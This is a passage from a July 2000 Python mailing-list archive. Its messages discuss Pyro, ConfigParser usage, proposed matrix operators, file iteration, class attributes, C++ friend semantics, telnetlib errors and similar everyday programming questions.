>>> map (None, [1, 2, 3], ['a', 'b', 'c'], [11,12,13])
[(1, 'a', 11), (2, 'b', 12), (3, 'c', 13)]
>>> 

quite happily. If zip or braid or whatever is selected it should at
least accept arbitrary numbers of arguments.
-- 
Robin Becker


From mlauer at trollinger-fe.rz.uni-frankfurt.de  Mon Jul 31 05:10:24 2000
From: mlauer at trollinger-fe.rz.uni-frankfurt.de (mlauer at trollinger-fe.rz.uni-frankfurt.de)
Date: 31 Jul 2000 11:10:24 +0200
Subject: [ANNOUNCE] Pyro 1.3 - distributed objects
References: <8m21po$i3i$1@news1.xs4all.nl>
Message-ID: <39854280$1@nntp.server.uni-frankfurt.de>

Irmen de Jong (irmen at -nospam-bigfoot.com) wrote:
> PYRO - Python Remote Objects - version 1.3
> by Irmen de Jong

[snip]

Hi Irmen, I'm very interested in PYRO. Though
I didn't have time to get a look on it, may
I play the devil's advocate and just ask you
to explain in a few sentences, what PYRO does
what cannot be achieved with Python CORBA
bindings (for example, the great omniorbpy) ?

Regards,

Michael Lauer



From smigowsky at dspace.de  Fri Jul 14 02:58:24 2000
From: smigowsky at dspace.de (Stefan Migowsky)
Date: Fri, 14 Jul 2000 07:58:24 +0100
Subject: TypeLib for Python COM Server?
Message-ID: <326536345498D311B3BC00105A39802A074790@newsintern.dspace.de>

Hi, 

use a special policy as shown in the example

...\python\win32com\servers\dictionary.py 

There are the invoke and getidsofnames of the dispatch
interface overwritten to provide the special
DISPIDs

  Stefan


>-----Original Message-----
>From: John Lull [mailto:lull at acm.org]
>Sent: Friday, July 14, 2000 3:57 AM
>To: python-list at python.org
>Subject: Re: TypeLib for Python COM Server?
>
>
>Bill Tutt <billtut at microsoft.com> wrote:
>
>> Don't rely on the 1000 thing. You should specifically 
>declare the dispid's
>> in the Python class.
>
>How?
>
>Thanks,
>John
>-- 
>http://www.python.org/mailman/listinfo/python-list
>



From thomas at xs4all.net  Tue Jul 18 04:56:04 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 18 Jul 2000 10:56:04 +0200
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
In-Reply-To: <Pine.GSO.4.10.10007180902470.8058-100000@sundial>; from moshez@math.huji.ac.il on Tue, Jul 18, 2000 at 09:29:34AM +0300
References: <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <Pine.GSO.4.10.10007180902470.8058-100000@sundial>
Message-ID: <20000718105604.X7340@xs4all.nl>

On Tue, Jul 18, 2000 at 09:29:34AM +0300, Moshe Zadka wrote:

> (BTW: as a former Perl hacker, I find the Perl code *extremely* readable,
> and I spend more time understanding the Python code. But that doesn't
> change the fact that Perl took me longer to master then Python, and even
> then I didn't really understand Perl. For example, could I lose the ";" in
> the Perl code? I think so, but I'm not sure)

More importantly: what will happen if you do ? Chances are the whole
expression gets a slightly different meaning, which seems okay during
testing, but isn't okay in production code ;-)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From nobody at nowhere.nohow  Fri Jul 28 21:48:05 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 01:48:05 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <aeb2osgndgqvhrrm6f3pmfevns171i0r5a@4ax.com> <slrn8o2f77.1e2.grey@teleute.rpglink.com> <f5m3osobae9i4cvna8k89ra8u3vi1me5k9@4ax.com>
Message-ID: <slrn8o4dul.abr.nobody@isis.visi.com>

In article <f5m3osobae9i4cvna8k89ra8u3vi1me5k9 at 4ax.com>, Ben Wolfson wrote:

>Any single element can't be "a single element or a sequence".  It can only
>be a single element.

I thing one could reasonably claim that a length-1 string is both a single
element and a sequence of a single element.

-- 
Grant Edwards                   grante             Yow!  I'm ZIPPY!! Are we
                                  at               having FUN yet??
                               visi.com            


From g_will at cyberus.ca  Tue Jul 11 17:45:19 2000
From: g_will at cyberus.ca (Gordon Williams)
Date: 11 Jul 2000 21:45:19 GMT
Subject: [ANN] Creating Py Extensions Using Borland's Free Compiler
Message-ID: <01bfeb81$5af86500$7c54c3d1@Cyberus>

*** Creating Python Extensions Using Borland's Free Compiler V2.0***

I am pleased to announce a set of step-by-step instructions and examples to
create extensions using the free Borland Command Line Compiler.  

This information can be found at 

http://www.cyberus.ca/~g_will/pyExtenDL.shtml .

Version 2.0 provides a patch for Config.h that solve the Py_None reference
problem (Thanks to Ng Pheng Siong).  Another example has been included.

**********************************************************************
ABSTRACT

This paper describes the method used to create Python Extensions using the
Borland 5.5 C++ Compiler (BCC). This command line compiler is available
free from http://www.borland.com/bcppbuilder/freecompiler/. I describe the
steps that are necessary to produce the extension from the C source code
and how to set up the associated files for the compiler and linker. These
extensions work with the standard Windows distribution of Python. The
process used to produce the extension is very easy and consists of running
a simple batch file that I provide as part of this package. I also have
some examples and a short reference section at the end of this paper that
may be helpful.

 Gordon Williams
g_will at cyberus.ca




From olmy at thistledown.org  Mon Jul 17 10:24:14 2000
From: olmy at thistledown.org (Olmy)
Date: Mon, 17 Jul 2000 09:24:14 -0500 (CDT)
Subject: example on how to use configparser in python?
In-Reply-To: <3972A89E.DC9CFD19@eSec.com.au>
Message-ID: <Pine.LNX.4.21.0007170906270.4587-100000@hexamon.thistledown.org>

> Does anyone have that?

Hello,

assuming you have a config file called test.conf and it contains the 
following:

[DEFAULT]

name = pythontest
path = /tmp/test


then you should be able to use the following quickie test script:

from ConfigParser import *

configdict = ConfigParser()
configdict.read('test.conf')

print configdict.defaults().keys()
print configdict.defaults()['path']

path = configdict.defaults()['path']

print path


that should give you a quick idea of how to load your config file 
in ConfigParser's dictionary format.

See the following URL for the reference documentation on what else 
you can do with ConfigParser:

http://www.python.org/doc/current/lib/module-ConfigParser.html

Pay special attention on how to handle RFC822 sections and how to handle 
the "%" expansions.

Hope this helps.

jeff




From huaiyu_zhu at yahoo.com  Tue Jul 18 14:30:26 2000
From: huaiyu_zhu at yahoo.com (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 11:30:26 -0700 (PDT)
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
In-Reply-To: <Pine.GSO.4.10.10007181039370.11187-100000@sundial>
Message-ID: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain>

This is a summary of what's discussed so far.

On Tue, 18 Jul 2000, Moshe Zadka wrote:
> ... we really meant that we'll help yo. 

Thanks!  I see where compile() is called.  But how is the parser itself
called in python?  Only used as C function?  Now that we have a patch to add
the new operators, is it possible to assemble these into a module?

Before we plunge into this thing which may turn out to be more laborious
than MatPy itself, we need to get a handle on what's involved.  Let me make
a list in order of my preference.  Please jump in at any point that's both
feasible and interesting enough for someone to actually do it:

1. Make a pure python way to introduce additional operators, like
   import NewOperator
   NewOperator.define(".+", "__dotadd__")
   NewOperator.define("+=", "__add_ab__")
   NewOperator.define(":=", "__copy__")

   Advantage: Pure python.  Doesn't interfere with existing sytax.  May be
   used for other operators.  Not in the core, only affect the module that
   imports it.  
   Disadvantage: Said to be quite difficult to implement (Why?).

2. Incorporate additional operators in python.  Either . or @.  Five to
   eight would be enough for linear algebra.

   Advantage: Pure python.  Doesn't interfere with existing syntax.
   Disadvantage: Fixed choice for everybody.  Unlikely to happen for quite
   some time until everyone agrees on everything.

3. Maintain a patch for additional operators. 

   Advantage: once built, everything is pure python.  Already have patch.
   Disadvantage: Can't guarantee most users can patch python, so in practice
   may need to maintain windows executable for download.

4. Temporarily use a.mmul(b) and a.emul(b) before things settle down.  Then
   define __dotmul__ = emul, or the like, when they are available.

   Advantage: immediately implementable.  Won't break anyone's code.  Can
   also switch to  __atmul__ = mmul or other choices later.
   Disadvantage: code somewhat cluttered.
   
5. Use a customized parser in python, with some compile tools?

   Advantage: can change anything.  Can fine tune before settle down.
   Disadvantage: can change anything.  Slower than 1.  Don't know how to use
   it.  (But maybe they can be turned into option 1?)

6. Maintain two classes: E and M.  

   Advantage: no need for new operators.
   Disadvantage: artificial casting likely to be maintenance nightmare,
   because we change objects while we really want to change operators.

   A variant: only use .E for elementwise.  Always return matrixwise.  This
   is simply just using casting to help select among two methods denoted by
   the same binary symbol.  Does not look much better than 4 but worth
   considering. 

7. Use prefix function call syntax:

   Advantage: very simple to implement
   Disadvantage: very difficult-to-read user code.  Won't be used in practice.

8. Use preprocessor on another file extension like .mpy

   Advantage: user code looks good
   Disadvantage: two set of files to maintain.  No implementation yet.  The
   preprocessor need to be able to see the operators, their scopes and
   precedence.  If this is possible, why not turn it to 5 or even 1?
   Unlikely used in practice unless the preprocessing step is invisible.

9. Use a miniparser for expressions in strings.

   Advantage: artificially looks like pure python.
   Disadvantage: the whole syntax is inside the string, which becomes a
   special syntax zone with severe limitations.  These halfline programs
   completely lack the elegance of python code.  Yuck!

10. Use list comprehension.

	Advantage: apparently none.
	Disadvantage: admitting that elementwise operations cannot be
	encapsulated.  Need a new syntactic structure with brackets, loops,
	dummy variables, scope delimitor (: or ;) implicitly parrallel for loops
	and implicit casting.  Yuck!!!

Note: I dislike some of the proposals because they look like ugly hacks to
use the abundance of class names, method names, function names and string
literals to walk around what is clearly just a shortage of a few operator
symbols.  But I don't think we can reach consensus on such issue anyhow.

If there is no more proposal forthcoming, I will adopt a combination of
options 3 and 4, and hoping for someone to come up with 1.  The largest
problem with this approach is this: If we can't guarantee the patch is
usable everywhere, do we want everybody using these operators?  Will it run
on another machine, or even another version of python?  If such a status
persists for a long time I guess all codes will settle into a local optimum,
something like

(a.emul(b))*(c.emul(d))

and an opportunity would be lost, even if in reality most people actually
like (a.*b)*(c.*d).  This incidentally also removes an opportunity to see if
elementwise operators might be useful elsewhere, like

["%5.2f", "%-8s", "%.2g"] .% [pi, 'short', 1]

["Alice", "Bob", "Charlie"] .+ "is" .+ ["girl", "boy", "boy"]

The argument "if it finds wide-spread use we may put it in the language" has
a severe limitation - if it is technically very difficult for users to use a
feature that's not in the language, it will unlikely to find wide-spread use
and may never get into the language.  That's why I really hope something
like 1 can come up.

Inputs greatly appreciated.


Huaiyu













From jepler.lnk at lnk.ispi.net  Sun Jul 16 22:07:08 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Mon, 17 Jul 2000 02:07:08 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F76F0.1B451932@sage.att.com> <slrn8mvqbe.12e.hzhu@localhost.localdomain>
Message-ID: <gTtc5.183$ttZ2.7143576@news.randori.com>

On Sat, 15 Jul 2000 04:29:09 GMT, Huaiyu Zhu
 <hzhu at localhost.localdomain> wrote:
>That's the beauty of numerical computation, because all kinds of
>applications, from animation on your screen to controlling satallite in
>space to analysing molecular structures to calculating consumer preference
>could all be expressed in the language of linear algebra.  (Mathematicians
>study spaces more abstract than linear spaces, but you wouldn't want to hear
>about them before appreciating the usefulness of linear algebra.) For
>example, all deterministic procedures are functions, and most functions we
>see are simply points in an (infinite dimensional) space.

That's the beauty of procedural programming, because all kinds of
applications, from animation on your screen to controlling a satellite in
space to analyzing molecular structures to calculating consumer preference
could all be expressed in the language of procedural programming.
(Programmers study programming languages more abstract than functional
programming, but you wouldn't want to hear about them before appreciating
the usefulness of procedural programming.)  For example, all deterministic
processes are expressible as Turing machines, and most turing machines
we see are simply expressible in procedural languages.

Jeff


From david_ullrich at my-deja.com  Thu Jul 13 13:40:51 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Thu, 13 Jul 2000 17:40:51 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk>
Message-ID: <8kkuuv$ohu$1@nnrp1.deja.com>

In article <8ki9bf$2pg3$1 at pc-news.cogsci.ed.ac.uk>,
  richard at cogsci.ed.ac.uk (Richard Tobin) wrote:
> Is it legal (it seems to work) to change the class of an object by
> assigning to its __class__ attribute?  In particular for the case
where
> the new class is a subclass of the old.
>
> I'm not looking for an argument (not even the five minute one) about
> whether it's a good idea, just whether it's legal.

    I can't imagine there being any _argument_ about whether
it's a good idea...

    If you said what you were trying to do someone would show
you how to do it without trying to change the class of an
instance. (Or not, but I can't imagine what it could be
that would require this.)

DU

> -- Richard
>
> --
> Spam filter: to mail me from a .com/.net site, put my surname in the
headers.
>
> "The Internet is really just a series of bottlenecks joined by high
> speed networks." - Sam Wilson
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From alex at magenta.com  Tue Jul 11 04:40:41 2000
From: alex at magenta.com (Alex Martelli)
Date: Tue, 11 Jul 2000 10:40:41 +0200
Subject: redirect output of functions to a string or file
References: <LBpa5.563$iT2.6319@m2newsread.uni2.es>
Message-ID: <8kempe0uta@news2.newsguy.com>

"Fernando Rodr?guez" <frr at mindless.com> wrote in message
news:LBpa5.563$iT2.6319 at m2newsread.uni2.es...
> Hi!
>
>     I have several functions that return strings.  The output of these
> functions must be combined and saved into a file.
>
>     Is there a way to tell Python to "automagically" redirect the output
> of _all_ functions to a string or file? O:-)

Redirect?  So that, for example:
    a=f()
would NOT actually set a, but rather (leave it as before? or what
else?) and instead place f()'s return value somewhere else?  That
seems like a tall order to me, and I don't understand how it would
help -- surely you're using the value of a in later code, so if it does
not get set this will affect your code's logic...?


Alex





From spamfranke at bigfoot.de  Fri Jul 14 19:11:59 2000
From: spamfranke at bigfoot.de (Stefan Franke)
Date: Fri, 14 Jul 2000 23:11:59 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com>
Message-ID: <396f9d89.25704394@news.btx.dtag.de>

How will that all impact the future of the CPython / Win32 integration?

Stefan




From db3l at fitlinxx.com  Thu Jul 20 17:49:10 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 20 Jul 2000 17:49:10 -0400
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua> <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <slrn8nemu7.fs6.cjc26@synecdoche.sowrong.org>
Message-ID: <u1z0oeall.fsf@ctwd0143.fitlinxx.com>

cjc26 at nospam.cornell.edu (Cliff Crawford) writes:

> readlines() has an optional argument which specifies the approximate
> number of bytes to read in at a time, rather than the entire file.
> So something like
> 
> for line in file.readlines(8192):
>     # process line
> 
> would only use about 8k of memory.

And only fully process files less than 8K in size.  The call to
file.readlines(8192) returns the list of lines contained within the
first 8K of the file (approximately), and that's all the 'for' is
going to iterate over.  You have to repeatedly call file.readlines()
again to keep reading the file, which puts you pretty much back in the
original readline() mode, just with bigger chunks.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From alex at magenta.com  Mon Jul 24 13:16:24 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 24 Jul 2000 19:16:24 +0200
Subject: Class static variables
References: <8l9vb3$kae$1@nnrp1.deja.com> <8la0fa$l9r$1@nnrp1.deja.com> <8la2mp$n5v$1@nnrp1.deja.com> <8lball$jrf$1@nnrp1.deja.com> <8lblc002pb1@news2.newsguy.com> <8lh1eo$a74$1@nnrp1.deja.com>
Message-ID: <8li5ea023f2@news2.newsguy.com>

"Guillaume" <forums at memoire.com> wrote in message
news:8lh1eo$a74$1 at nnrp1.deja.com...
>
> Axel understood perfectly the goal of my question and the way I would

I think you mean me (Alex) rather than Axel, but, anyway:


> First I used constructs like if name=="x": but in fact the use of try:
> makes it more general (no need to know the attribute name). Inheritance
    [snip]
> try:
> A.__dict__[name]
> A.__dict__[name]=value
> return None
> except KeyError:
> self.__dict__[name]=value

I think that just as general, and probably better, might be:

    if A.__dict__.has_key(name):
        A.__dict__[name]=value
    else:
        self.__dict__[name]=value

It appears to me that this expresses more directly the intent:
if the class's dictionary already has this name as a key, then
set it to the new value, else, set the instance's dictionary.


Alex





From corg at copernic.com  Tue Jul 25 10:31:55 2000
From: corg at copernic.com (Gaetan Corneau)
Date: Tue, 25 Jul 2000 10:31:55 -0400
Subject: how to build arbitrarily-sized lists in one fell swoop?
Message-ID: <C5A7720BDEB7D3118A5200E018C200A06B4FDD@EXCHANGE>

Easy:

l = [5] * 10

>>> print l
[5, 5, 5, 5, 5, 5, 5, 5, 5, 5]
______________________________________________________
   Gaetan Corneau
   Software Developer 
   Copernic.com 
   http://www.copernic.com
   E-mail: corg at copernic.com                         
______________________________________________________
"Golf is a game whose sole aim is to hit a very small
ball into an even smaller hole, with weapons
singularly ill designed for that purpose." -- Winston Churchill

 



From neilh at scintilla.org  Sun Jul 30 08:39:24 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 30 Jul 2000 12:39:24 GMT
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com> <Uwug5.15044$4p3.118240@news-server.bigpond.net.au> <39840d9b_1@news.newsfeeds.com> <zUUg5.16220$4p3.129370@news-server.bigpond.net.au> <slrn8o879j.162.erwin@erwin.andreasen.org>
Message-ID: <0mVg5.16257$4p3.129481@news-server.bigpond.net.au>

> Interesting -- it should be possible to create a similar module for
loading
> shared objects under UNIX and calling functions in those. Although it
wouldn't
> be that easy, since you would need to find a way to call a function
pointer
> with a variable number of arguments in C.

   A small piece of assembler is required in calldll to handle the low level
calling.

> Of course, such a module would hae to be part of the standard Python for
it to
> be really useful :)

   And then you'll run into opposition from people who think that this is
too dangerous. You can crash Python easily with

calldll.call_foreign_function(0,"l","l",(0,))

   Neil







From alex at magenta.com  Wed Jul 26 05:10:39 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 26 Jul 2000 11:10:39 +0200
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <8ljrvu09t6@news1.newsguy.com> <l8rf5.1529$ck7.387235@nntp1.onemain.com>
Message-ID: <8lma5602i08@news1.newsguy.com>

"Mark Baker" <mbaker at 0x7a69.net> wrote in message
news:l8rf5.1529$ck7.387235 at nntp1.onemain.com...
    [snip]
> > I see a "self.something=23", I know "self" is an instance variable; no
    [snip]
> Er....sort of.

Not really:

> def sum(self):
> return self.x + self.y + self.a # Scope within class, but accessible via
self

Ah, but here you're not *assigning* to self.a; you're just *accessing* it.

That is, of course, different.  But when I see the _assignment_, I (think I)
know it's an instance variable -- unless strange tricks are being played
with __setattr__, of course (and *those* CAN indeed get weird).


> > have free-standing functions in their stead, and grouping by-module is
> > more productive than by-class (the class is not the natural unit of
> > encapsulation, an issue that is also acknowledged by the package concept
> > of Java and the friend keyword in C++).
>
> friend is simply an evil way of violating encapsulation. It's not
analogous to

Absolutely false, although people with a superficial understanding of C++ do
tend to think that way.  The proper use of 'friend' is to split an
encapsulated,
cohesive functionality among more than one class, *because the class is
NOT the natural unit of encapsulation*.  friend ENFORCES encapsulation,
by only allowing access to certain object features to a carefully designed
set
of co-operating classes, designed together, to work together, and expose
exactly that functionality that the designer of the package wants to expose.


> modules, packages, or anything else. It simply provides a means of
violating
> C++'s encapsulation (usually for speed purposes, since you should be able
> to use the accessor/mutator pattern to work with object properties)

Again, absolutely false, and, again, suggesting rather superficial
understanding
of C++'s working.  A public accessor/mutator can be, and generally is,
written
in-line, with no speed penalty whatsoever over access to an instance
variable.

The problem is, this lets ANYBODY read/write that property (through the
accessor
and mutator); what if you only want ONE OTHER, SPECIFIC CLASS, to have
that ability?  Answer: you use friend, which lets you ENFORCE encapsulation
(and keep the accessor and/or mutator private, so that only the friend class
can
make use of them -- if it still makes sense to have them, which it often
does,
essentially for purposes of convenience).

If you're interested enough in C++ to make such comments, you owe it to
yourself to understand a little bit more about this extremely complex,
though
powerful, language.  For the mechanisms underlying its typical operations,
you still can't beat Lippmann's "Inside the C++ Object Model".  For best
usage
and style, Meyers' "Effective C++", CD-ROM edition, is a good start.  A good
general-purpose introduction is Eckel's "Thinking in C++", which has the
advantage of being downloadable by the net; Robert Martin's site also has
many excellent articles on OO design and its implementation in C++, but
you should also get Martin's book (Eckel and Martin are among the many C++
aficionados and super-experts who are also Python fans -- I may not be in
their class, but I'm basically the same type:-).


Alex





From roger_callisto at hotmail.com  Mon Jul 31 20:36:56 2000
From: roger_callisto at hotmail.com (Peter Yu)
Date: Tue, 01 Aug 2000 00:36:56 GMT
Subject: telnetlib
References: <20000729152800.B1899@reepicheep.avalongroup.net> <cp3dkqe0k6.fsf@cj20424-a.reston1.va.home.com> <20000731091354.A1319@reepicheep.avalongroup.net> <8m4g7c$8pr$1@nnrp1.deja.com> <8m4opv$fpi$1@nnrp1.deja.com>
Message-ID: <8m5638$pvv$1@nnrp1.deja.com>

In article <8m4opv$fpi$1 at nnrp1.deja.com>,
  bragib at my-deja.com wrote:
> Maybe you can offer some suggestions on this:
> This is a repost as I am still clueless!
>
>  Bragi
>
>  I am trying to telnet from a UNIX box to an NT to get the doskeys.
The
> NT that I login to runs a
>  couple of .bat
>  scripts which clear the screen set up some stuff etc.  When I try to
do
> a read_all() it fails the first
>  time with the
>  exception:
>  Traceback (innermost last):
>    File "telnet.py", line 17, in ?
>      tn.read_all()
>    File "/usr/abaqus60/5-0_copy/source/Python/Lib/telnetlib.py", line
> 229, in read_all
>      self.fill_rawq()
>    File "/usr/abaqus60/5-0_copy/source/Python/Lib/telnetlib.py", line
> 367, in fill_rawq
>      buf = self.sock.recv(50)
>  socket.error: (131, 'Connection reset by peer')

Try reading before exiting... the stream probably noticed that
you "logged off" and tried to close off the connection.  Since I don't
have a NT machine handy to test my theory, that'd be my best guess as
to why you're getting the error.


Sent via Deja.com http://www.deja.com/
Before you buy.


From aruth at intercation.com  Mon Jul 31 12:45:30 2000
From: aruth at intercation.com (Adam Ruth)
Date: Mon, 31 Jul 2000 10:45:30 -0600
Subject: smtplib and cgi
References: <g5kaoso4ejj2p8c71e9920v9vu9qik95e8@4ax.com>
Message-ID: <8m4aji$597$1@news.aros.net>

That's the way I do it.  Of course, if you're on Unix (or GNU/Linux) you can
always shell out to the mail command.

--
Adam Ruth
InterCation, Inc.
www.intercation.com


"Anders M Eriksson" <anders.eriksson at morateknikutveckling.se> wrote in
message news:g5kaoso4ejj2p8c71e9920v9vu9qik95e8 at 4ax.com...
> Hello!
>
> Is it possible to use smtplib to create and send mail from a CGI
> application?
>
> Or is there some better way?
>
> // Anders
>




From fugate at lucent.com  Fri Jul 28 12:50:33 2000
From: fugate at lucent.com (Cris A. Fugate)
Date: Fri, 28 Jul 2000 11:50:33 -0500
Subject: Need help installing jTkinter
Message-ID: <3981B9D9.1A4824FA@lucent.com>

Hi, Im new to Python, but would really like to write some
Python applets. I have followed the steps for installing jTkinter according to
the jTkinter web page, but one thing puzzles me.  
It mentions putting jTkinter.jar in the classpath. Where is this
classpath defined. I dont see it in the registry and setting
up a environment variable doesn't seem to work.
-- 
**********************************************************************
Cris A. Fugate          Lucent Technologies, Robust Process Automation
fugate at lucent.com       http://ihgpweb.ih.lucent.com/~fugate
630 713-8255            Creator of framesets, a frames implementation


From achrist at easystreet.com  Sat Jul 22 21:18:00 2000
From: achrist at easystreet.com (Al Christians)
Date: Sat, 22 Jul 2000 18:18:00 -0700
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <8l6cbp$fgr$1@pollux.ip-plus.net> <3977C2A8.6D8F7586@my.signature> <8la8ib$8um$1@slb2.atl.mindspring.net> <01ihns4q4urkisti1mc02kadfohpo32mov@4ax.com>
Message-ID: <397A47C8.B19D60B1@easystreet.com>

Suggestions: dice() (as in slice and dice), crossPollinate(), 
crossTupulate(), affiliate(), affiance(), or yoke(), as when columns
of horses or mules are yoked side-by-side.


Al


Ben Wolfson wrote:
> 
> On 21 Jul 2000 19:33:31 GMT, aahz at netcom.com (Aahz Maruch) wrote:
> 
> >In article <3977C2A8.6D8F7586 at my.signature>,
> >Greg Ewing  <see at my.signature> wrote:
> >>"J?rgen Hermann" wrote:
> >>>
> >>> merge() is the best yet, since it's a common (programming) term with a
> >>> well-defined meaning.
> >>
> >>But it's a DIFFERENT meaning!
> >>
> >>merge([1,2,4,6,7,8],[3,5,9]) --> [1,2,3,4,5,6,7,8,9])
> >
> >No, that's only when "merge" is a modifier for "sort".
> 
> I would expect merge() called on n lists to return a list consisting of all
> its arguments concatenated.
> 
> --
> Barnabas T. Rumjuggler
> 
> My despair has long since been ground up fine and is no more than the daily
> salt and pepper of my life.
>  -- Russell Hoban, _Turtle Diary_


From gmcm at hypernet.com  Thu Jul  6 18:42:03 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 06 Jul 2000 22:42:03 GMT
Subject: Python brokeness???
References: <n2%85.34984$NP5.1038272@newsread2.prod.itd.earthlink.net>
Message-ID: <8F69BD280gmcmhypernetcom@199.171.54.154>

Arint? wrote: 

>I have an embedded app with a call like this:
>PyObject *open(PyObject* self,PyObject* args){
> long ret(1);
>
> g_lastDevice = pyposs.getDeviceFromPy(args);
> if(!g_lastDevice){
>  PyErr_Clear();
>  PyErr_SetString(PyExc_TypeError,"No Device");
>  return NULL;
> }
> else
> {
>  PyObject* deqme =Py_BuildValue("i",0);
>  PyObject* comm =PyObject_GetItem(args, deqme);
>  PosArgEx* p=createArgs(comm);
>  ret = g_lastDevice->open(p);
>  if(p){
>   createPyArgs(comm,p);
>   delete p;
>  }
>   ioctls.getIOCtls(g_lastDevice->getName());
> }
> PyErr_Clear();
> return Py_BuildValue("i",ret);
>}
>
>Now, before I put that PyErr_Clear in the script that I ran with a
>range(-1,10) used to give error len() of unsized object or give me
>IndexError: string index out of range.  

Actually, there are 2 PyErr_Clears. I think you mean the 2nd one. 

There are quite a few places above that Python could be setting an error. 
Note that reaching the end of a list means an IndexError gets set. And you 
have a PyObject_GetItem(args, ...) without ever checking that args is a 
sequence. 

Leaving uncleared errors causes strange things to happen later. Which 
matches the symptoms.

You should be checking for NULL returns from those calls that return 
PyObject *s. If you get NULL, there's almost undoubtedly an error set.




From sdm7g at virginia.edu  Fri Jul 28 15:05:27 2000
From: sdm7g at virginia.edu (Steven D. Majewski)
Date: Fri, 28 Jul 2000 15:05:27 -0400 (EDT)
Subject: finding/counting files
In-Reply-To: <8lskfi+r5ek@eGroups.com>
Message-ID: <Pine.A32.3.90.1000728145401.17860C-100000@elvis.med.Virginia.EDU>

On Fri, 28 Jul 2000 jesse at multimediacollective.com wrote:

>    What would the proper command be for finding a file within a 
> folder?  I want my program to check to see if there is a folder 
> called 'test.txt' in the folder, and if there is, count the number of 
> files in that folder.  What commands would I use for both these 
> problems?


Not sure about the references to your pronouns -- do you mean 
something like: 

files = os.listdir(folder)
if "test.txt" in files : print len(files)


or do you mean:
if "test.txt" in files and os.path.isdir(os.path.join(folder,"test.txt")):
	print len(os.listdir(os.path.join(folder,"test.txt")))


If you want something more complicated than that, look at the docs
for os and os.path modules, especially these functions:
	os.listdir 
	os.path.walk
	os.path.join
	os.path.isfile
	os.path.isdir 



-- Steve. 




From gmcm at hypernet.com  Sat Jul  1 15:27:21 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 01 Jul 2000 19:27:21 GMT
Subject: ? WinNT sys.stdout and re-direction
References: <8F6466ABEpluskrunetedu@137.45.128.146>
Message-ID: <8F649A89Cgmcmhypernetcom@199.171.54.154>

Paul D. Lusk wrote:

>At the NT command prompt:
>
>script.py in.txt>out.txt
>
>gives me a empty out.txt
>
>Could somebody point me in the right direction to fix this?

Your choices:
 1) Upgrade to Win2k (hee hee)
 2) say "python script.py in.txt >out.txt"

- Gordon


From gjohnson at gs.verio.net  Mon Jul 17 20:09:45 2000
From: gjohnson at gs.verio.net (Tony Johnson)
Date: Mon, 17 Jul 2000 19:09:45 -0500
Subject: Internet Programming in Python
References: <397221B2.173C3947@u.washington.edu> <39736DEB.D2285ADD@gs.verio.net> <3973831C.23A9CE52@oreilly.com>
Message-ID: <3973A049.DF9B805D@gs.verio.net>

1996 M&t books..   The Python Annotated Archives is 4 years newer

"Stephen R. Figgins" wrote:
> 
> Tony Johnson wrote:
> >
> > http://www.ora.com shuld carry this one...
> 
> No, we didn't publish that one.  I forget who did.
> 
> Stephen R. Figgins
> O'Reilly Network
> --
> http://www.python.org/mailman/listinfo/python-list



From donn at u.washington.edu  Tue Jul 18 13:12:49 2000
From: donn at u.washington.edu (Donn Cave)
Date: 18 Jul 2000 17:12:49 GMT
Subject: Getting local IP address...
References: <uitu45ihv.fsf@ctwd0143.fitlinxx.com> <CC59868A0A76D311B1F50090277B321C1F342C@VRTMAIL>
Message-ID: <8l236h$8b8i$1@nntp6.u.washington.edu>

Quoth David Bolen <db3l at fitlinxx.com>:
| Mike Fletcher <mfletch at tpresence.com> writes:
|> import socket
|> def getLocalHostIP( remote = ("www.python.org", 80)):
|> 	'''Get the "public" address of the local machine, i.e.
